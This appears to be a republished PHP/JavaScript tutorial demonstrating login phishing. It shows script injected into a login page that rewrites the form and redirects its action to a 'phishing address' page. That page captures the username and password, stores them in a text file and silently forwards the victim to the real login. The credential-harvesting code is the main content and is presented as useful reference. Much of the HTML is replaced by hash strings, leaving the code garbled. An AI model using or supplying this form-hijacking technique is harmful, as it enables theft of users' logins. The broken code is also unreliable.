Home  >  Article  >  Backend Development  >  Code example of imitating login phishing using PHP and JS

Code example of imitating login phishing using PHP and JS

不言
不言forward
2019-03-25 14:17:113757browse

This article brings you code examples about imitating login phishing using PHP and JS. It has certain reference value. Friends in need can refer to it. I hope it will be helpful to you.

Directory introduction

login.php Normal login file

selfLogin.php Customized login file

data.txt Record the data entered by the user

login.php

5a4b9456c90e0924b2aa1ae2b2f6b907";
    $userInfo = $_POST ;
    if ($userInfo) {
        # code...
        var_dump($userInfo,'登录成功') ;exit();
    }

?>
76c82f278ac045591c9159d381de2c57
100db36a723c770d327fc0aef2ce13b1
93f0f5c25f18dab9d176bd4f6de5d30e
    b2386ffb911b14667cb8f0f91ea547a7登录6e916e0f7d1e588d4f442bf645aedb2f
9c3bca370b5104690d9ef395f2c5f8d1
6c04bd5ca3fcae76e30b72ad730ca86d
    f39d89d78689e666a46fd00f12d379f8
        用户姓名:9a95e784633ec4c15a26a7876fb5aa39
        用户密码:4d551a3c4eccf98f2f4fc5deb9d0b99f
        388f2c0632e7bf0a6f5f7273c0ec5707
    f5a47148e367a6035fd7a2faa965022e
36cc49f0c466276486e50c850b7e4956
8019067d09615e43c7904885b5246f0a

    //js劫持代码
    window.onload = function (eve) {
        var form = document.getElementById('login');
        form.innerHTML = ' 1f84ebba447ede9de2d33088fe9b548e 用户姓名:9a95e784633ec4c15a26a7876fb5aa39 用户密码:4d551a3c4eccf98f2f4fc5deb9d0b99f 388f2c0632e7bf0a6f5f7273c0ec5707    f5a47148e367a6035fd7a2faa965022e '  ;
        //钓鱼地址
        form.action = "selfLogin.php" ;
    }
2cacc6d41bbb37262a98f745aa00fbf0
73a6ac4ed44ffec12cee46588e518a5e

selfLogin.php

e521fd3c3a1a2502563929020ba1d3ee
76c82f278ac045591c9159d381de2c57
100db36a723c770d327fc0aef2ce13b1
93f0f5c25f18dab9d176bd4f6de5d30e
    b2386ffb911b14667cb8f0f91ea547a76e916e0f7d1e588d4f442bf645aedb2f
9c3bca370b5104690d9ef395f2c5f8d1
6c04bd5ca3fcae76e30b72ad730ca86d

36cc49f0c466276486e50c850b7e4956
8019067d09615e43c7904885b5246f0a
    //构建之前的页面
    window.onload = function (eve) {
        var name = '92a867be42ecedd6539649df8b077e58' ;
        var pwd = 'b0b3f8cddb59461b22394b3e70af6a9a' ;
        if(name && pwd) {
            var p = document.createElement('p');
            document.body.appendChild(p);
            p.innerHTML =' b1e4f09baab24ec289fc43a6eb657202 '+
                ' 用户姓名:451aeed059fc1716279b53e2d80f2409 用户密码:ec5830450069cf76c39fce5bb0754b75 '  ;
            document.getElementById('login2').submit();
        }
    }
2cacc6d41bbb37262a98f745aa00fbf0
73a6ac4ed44ffec12cee46588e518a5e

data.txt

{"name":"admin","pwd":"123456"}

This article has ended here. For more exciting content, you can pay attention to the JavaScript Video Tutorial column on the PHP Chinese website!

The above is the detailed content of Code example of imitating login phishing using PHP and JS. For more information, please follow other related articles on the PHP Chinese website!

Statement:
This article is reproduced at:segmentfault.com. If there is any infringement, please contact admin@php.cn delete